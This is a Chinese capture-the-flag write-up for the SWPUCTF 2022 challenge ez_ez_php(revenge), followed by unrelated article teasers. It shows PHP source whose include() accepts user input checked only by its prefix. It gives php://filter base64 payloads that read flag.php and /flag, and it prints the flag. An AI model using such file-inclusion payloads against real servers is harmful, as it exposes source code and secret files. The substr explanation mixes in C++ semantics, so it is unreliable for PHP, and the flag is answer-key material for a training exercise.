当前位置: 首页 > news >正文

php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)

打开题目

题目源代码如下

 <?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php

代码审计一下

首先检查是否存在名为 file 的 GET 参数

如果存在 file 参数,就用substr函数检查该参数值的前三个字符是否为 "php"

  • 如果是的话,代码会输出 "Nice!!!",然后通过 include 函数包含该参数所指定的文件。
  • 如果不是以 "php" 开头,代码会输出 "Hacker!!"
  • 如果 file 参数不存在,则会显示当前文件的源代码。

很明显这里用php伪协议即可读取flag

payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

得到提示

把payload换成

?file=php://filter/read=convert.base64-encode/resource=/flag

解码即可得到flag

NSSCTF{7877cb1d-5672-4cc9-946a-d69f3c5d2640}

知识点:

subsub函数

substr(string,start<,length>)

主要功能是复制子字符串,要求从指定位置开始,并具有指定的长度

从string 的start位置开始提取字符串,length:待提取的字符串的长度

若length为以下情况时,返回整个字符串的所有字符

1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度

具体用法见:C++中substr()函数用法详解_substr c++-CSDN博客

相关文章:

php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)

打开题目 题目源代码如下 <?php error_reporting(0); if (isset($_GET[file])) {if ( substr($_GET["file"], 0, 3) "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";} }else {highlight_fi…...

1.1_1 计算机网络的概念、功能、组成和分类

文章目录 1.1_1 计算机网络的概念、功能、组成和分类&#xff08;一&#xff09;计算机网络的概念&#xff08;二&#xff09;计算机网络的功能&#xff08;三&#xff09;计算机网络的组成1.组成部分2.工作方式3.功能组成 &#xff08;四&#xff09;计算机网络的分类 总结 1.…...

pytorch中的各种计算

对tensor矩阵的维度变换&#xff0c;加减乘除等是深度学习中的常用操作&#xff0c;本文对一些常用方法进行总结 矩阵乘法 混合矩阵相乘&#xff0c;官网 torch.matmul(input, other, *, outNone) → Tensor这个方法执行矩阵相乘操作&#xff0c;需要第一个矩阵的最后一个维度…...

大数据技术之 Kafka

大数据技术之 Kafka 文章目录 大数据技术之 Kafka第 1 章 Kafka 概述1.1 定义1.2 消息队列1.2.1 传统消息队列的应用场景1.2.2 消息队列的两种模式 1.3 Kafka 基础架构 第 2 章 Kafka 快速入门2.1 安装部署2.1.1 集群规划2.1.2 集群部署2.1.3 集群启停脚本 2.2 Kafka 命令行操作…...

【GB28181】wvp-GB28181-pro部署安装教程(Ubuntu平台)

目录 前言1 安装依赖2 安装MySQL3 安装redis4 编译ZLMediaKit代码及依赖下载编译运行&#xff08;如果要运行wvp整个项目&#xff0c;这步可以先不执行&#xff09; 5 编译wvp-pro下载源码&#xff08;建议从github上下载&#xff0c;gitee上维护有时候不是很同步&#xff09;编…...

CentOS删除除了最近5个JAR程序外的所有指定Java程序

帮我写一个shell脚本&#xff0c;ps -eo pid,lstart,cmd --sort-start_time | grep "pgz-admin"查到的结果&#xff0c;返回的所有进程PID&#xff0c;第六个之上的&#xff0c;全部kill 当然&#xff0c;你可以创建一个简单的Shell脚本来完成这个任务。以下是一个例…...

面试redis篇-13Redis为什么那么快

Redis是纯内存操作,执行速度非常快采用单线程,避免不必要的上下文切换可竞争条件,多线程还要考虑线程安全问题使用I/O多路复用模型,非阻塞IOI/O多路复用模型 Redis是纯内存操作,执行速度非常快,它的性能瓶颈是网络延迟而不是执行速度, I/O多路复用模型主要就是实现了高效…...

python Matplotlib Tkinter--pack 框架案例

环境 python:python-3.12.0-amd64 包: matplotlib 3.8.2 pillow 10.1.0 版本一 import matplotlib.pyplot as plt from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk import tkinter as tk import tkinter.messagebox as messagebox…...

连接未来:嵌入式系统在物联网时代的应用

连接未来&#xff1a;嵌入式系统在物联网时代的应用 随着物联网技术的不断发展&#xff0c;嵌入式系统在物联网时代扮演着至关重要的角色。嵌入式系统作为连接物理世界和数字世界的桥梁&#xff0c;为物联网的实现提供了技术支持和基础设施。以下将从几个方面探讨嵌入式系统在…...

自动驾驶中的障碍物时间对齐法

描述 自动驾驶算法使用的系统往往不是实时系统&#xff0c;因此每个节点间拿到的数据可能不是同一时间的数据&#xff0c;从而造成系统误差&#xff0c;针对这一现象&#xff0c;工程上往往采用时间对齐内插外推法。这里我们用感知障碍物来举例。 自动驾驶系统有许多重要模块…...

介绍 PIL+IPython.display+mtcnn for 音视频读取、标注

1. nn.NLLLoss是如何计算误差的? nn.NLLLoss是负对数似然损失函数&#xff0c;用于多分类问题中。它的计算方式如下&#xff1a;首先&#xff0c;对于每个样本&#xff0c;我们需要将其预测结果通过softmax函数转换为概率分布。softmax函数可以将一个向量映射为一个概率分布&…...

C语言中strstr函数的使用!

strstr函数的作用是什么&#xff1f; 查找子字符串 具体直接看下面的这段代码我相信你必明白 #define _CRT_SECURE_NO_WARNINGS 1 #include<stdio.h> int main() { char *p1 "abcdefghijklmnopqrstuvwxyz"; char* p2 "abc"; char* r…...

Vue项目中,src目录下的vue.app文件介绍

在 Vue 项目中&#xff0c;src 文件夹通常包含了项目的核心代码。在这个文件夹下&#xff0c;App.vue 是一个特殊的文件&#xff0c;它代表了整个 Vue 应用的根组件。 App.vue 是一个单文件组件&#xff08;Single File Component, 简称 SFC&#xff09;&#xff0c;它允许你将…...

【Android】坐标系

Android 系统中有两种坐标系&#xff0c;分别为 Android 坐标系和 View 坐标系。了解这两种坐标系能够帮助我们实现 View 的各种操作&#xff0c;比如我们要实现 View 的滑动&#xff0c;你连这个 View 的位置都不知道&#xff0c;那如何去操作呢&#xff1f; 一、Android 坐标…...

OSCP靶场--Slort

OSCP靶场–Slort 考点(1.php 远程文件包含 2.定时任务提权) 1.nmap扫描 ┌──(root㉿kali)-[~/Desktop] └─# nmap 192.168.178.53 -sV -sC -p- --min-rate 5000 Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-24 04:37 EST Nmap scan report for 192.168.178.53 …...

大数据职业技术培训包含哪些

技能提升认证考试&#xff0c;旨在通过优化整合涵盖学历教育、职业资格、技术水平和高新技术培训等各种教育培训资源&#xff0c;通过大数据行业政府引导&#xff0c;推进教育培训的社会化&#xff0c;开辟教育培训新途径&#xff0c;围绕大数据技术人才创新能力建设&#xff0…...

【Java程序设计】【C00313】基于Springboot的物业管理系统(有论文)

基于Springboot的物业管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的物业管理系统&#xff0c;本系统有管理员、物业、业主以及维修员四种角色权限&#xff1b; 管理员进入主页面&#xff0c;主要功能包…...

TensorFlow训练大模型做AI绘图,需要多少的GPU算力支撑

TensorFlow训练大模型做AI绘图&#xff0c;需要多少的GPU算力支撑&#xff01;这个问题就涉及到了资金投资的额度了。众所周知&#xff0c;现在京东里面一个英伟达的显卡&#xff0c;按照RTX3090(24G显存-涡轮风扇&#xff09;版本报价是7000-7500之间。如果你买一张这样的单卡…...

docker创建mongodb数据库容器

介绍 本文将通过docker创建一个mongodb数据库容器 1. 拉取mongo镜像 docker pull mongo:3.63.6版本是一个稳定的版本&#xff0c;可以选择安装此版本。 2. 创建并启动主数据库 容器数据卷配置 /docker/mongodb/master/data # 数据库数据目录&#xff08;宿主机&am…...

Python并发编程:多线程-线程理论

一 什么是线程 在传统操作系统中&#xff0c;每个进程有一个地址空间&#xff0c;而且默认就有一个控制线程 线程顾名思义&#xff0c;就是一条流水线工作的过程&#xff08;流水线的工作需要电源&#xff0c;电源就相当于CPU&#xff09;&#xff0c;而一条流水线必须属于一个…...

STM32F103驱动2.4寸TFT屏实战:如何用SPI接口实现GUI图形库(画圆、写字、显示图片)

STM32F103驱动2.4寸TFT屏实战&#xff1a;如何用SPI接口实现GUI图形库&#xff08;画圆、写字、显示图片&#xff09; 在嵌入式系统开发中&#xff0c;图形用户界面(GUI)的实现往往是一个既具挑战性又充满成就感的部分。当我们将目光投向STM32F103这类资源有限的微控制器时&…...

贾子理论(Kucius Theory):融东方智慧与数理公理的全新认知框架

贾子理论&#xff08;Kucius Theory&#xff09;&#xff1a;融东方智慧与数理公理的全新认知框架摘要贾子理论&#xff08;Kucius Theory&#xff09;由学者贾龙栋于2025‑2026年提出&#xff0c;融合儒道、《周易》、兵法与现代科学、AI及非平衡态热力学&#xff0c;构建“1‑…...

BitNet b1.58入门必看:从supervisord进程管理到WebUI调参完整指南

BitNet b1.58入门必看&#xff1a;从supervisord进程管理到WebUI调参完整指南 1. 项目概述 BitNet b1.58-2B-4T-gguf是一款极致高效的开源大模型&#xff0c;采用原生1.58-bit量化技术。这个模型最特别的地方在于它的权重只有-1、0、1三种值&#xff0c;平均每个权重仅占用1.…...

告别纸上谈兵!用Keil uVision5和Proteus 8.9从零搭建51单片机流水灯(附完整资源包)

从零构建51单片机流水灯&#xff1a;Keil与Proteus实战避坑指南 当你第一次接触单片机开发时&#xff0c;是否曾被各种专业术语和复杂的工具链劝退&#xff1f;本文将带你用最直观的方式&#xff0c;完成第一个51单片机仿真项目——流水灯。不同于网上零散的教程&#xff0c;这…...

Docker容器在产线崩溃的7种隐性原因:从cgroup泄漏到时钟漂移,一文定位真凶

第一章&#xff1a;Docker容器在产线崩溃的7种隐性原因&#xff1a;从cgroup泄漏到时钟漂移&#xff0c;一文定位真凶生产环境中&#xff0c;Docker容器看似“一键启停”&#xff0c;实则深藏七类不易察觉的崩溃诱因。它们不触发明显错误日志&#xff0c;却在高负载、长周期运行…...

real-anime-z电商应用案例:动漫风商品详情页图+短视频封面批量生成

real-anime-z电商应用案例&#xff1a;动漫风商品详情页图短视频封面批量生成 1. 项目背景与价值 在电商运营中&#xff0c;商品详情页和短视频封面是吸引用户点击的关键视觉元素。传统方式需要设计师手动制作&#xff0c;耗时耗力且难以保持风格统一。real-anime-z模型提供了…...

Labelme标注踩过的坑:中文标签、复杂遮挡、数据集划分,一个脚本全搞定

Labelme高级标注实战&#xff1a;破解中文标签、复杂遮挡与数据集划分难题 在计算机视觉项目中&#xff0c;数据标注质量直接决定模型性能上限。作为最受欢迎的标注工具之一&#xff0c;Labelme凭借其灵活性和开源特性成为众多研究团队的首选。但当项目规模扩大、场景复杂度提升…...

STM32F4时钟配置避坑指南:从HAL库的HAL_RCC_OscConfig到180MHz超频实战

STM32F4时钟配置避坑指南&#xff1a;从HAL库的HAL_RCC_OscConfig到180MHz超频实战 对于嵌入式开发者而言&#xff0c;STM32F4系列微控制器的时钟系统就像是一台精密的瑞士钟表&#xff0c;每一个齿轮的咬合都需要精确计算。当项目需求从常规的168MHz跃升至180MHz时&#xff0c…...

SAP MM | 如何解决汇率报错及合同主数据配置?

问题背景在 SAP 系统的日常运维中&#xff0c;采购业务往往涉及跨国贸易或多币种结算。当我们在创建采购订单&#xff08;PO&#xff09;、合同&#xff08;Contract&#xff09;或进行发票校验时&#xff0c;系统如果无法找到交易日期对应的有效汇率&#xff0c;业务流程就会中…...

激活函数原理与实战:从ReLU到GELU的深度解析

1. 激活函数&#xff1a;AI模型的思维开关第一次接触神经网络时&#xff0c;我盯着那些复杂的数学公式看了整整三天。直到某天深夜调试代码时&#xff0c;突然意识到激活函数就像电灯的开关——它决定了神经元是否"亮起来"。这个简单的类比让我豁然开朗&#xff0c;今…...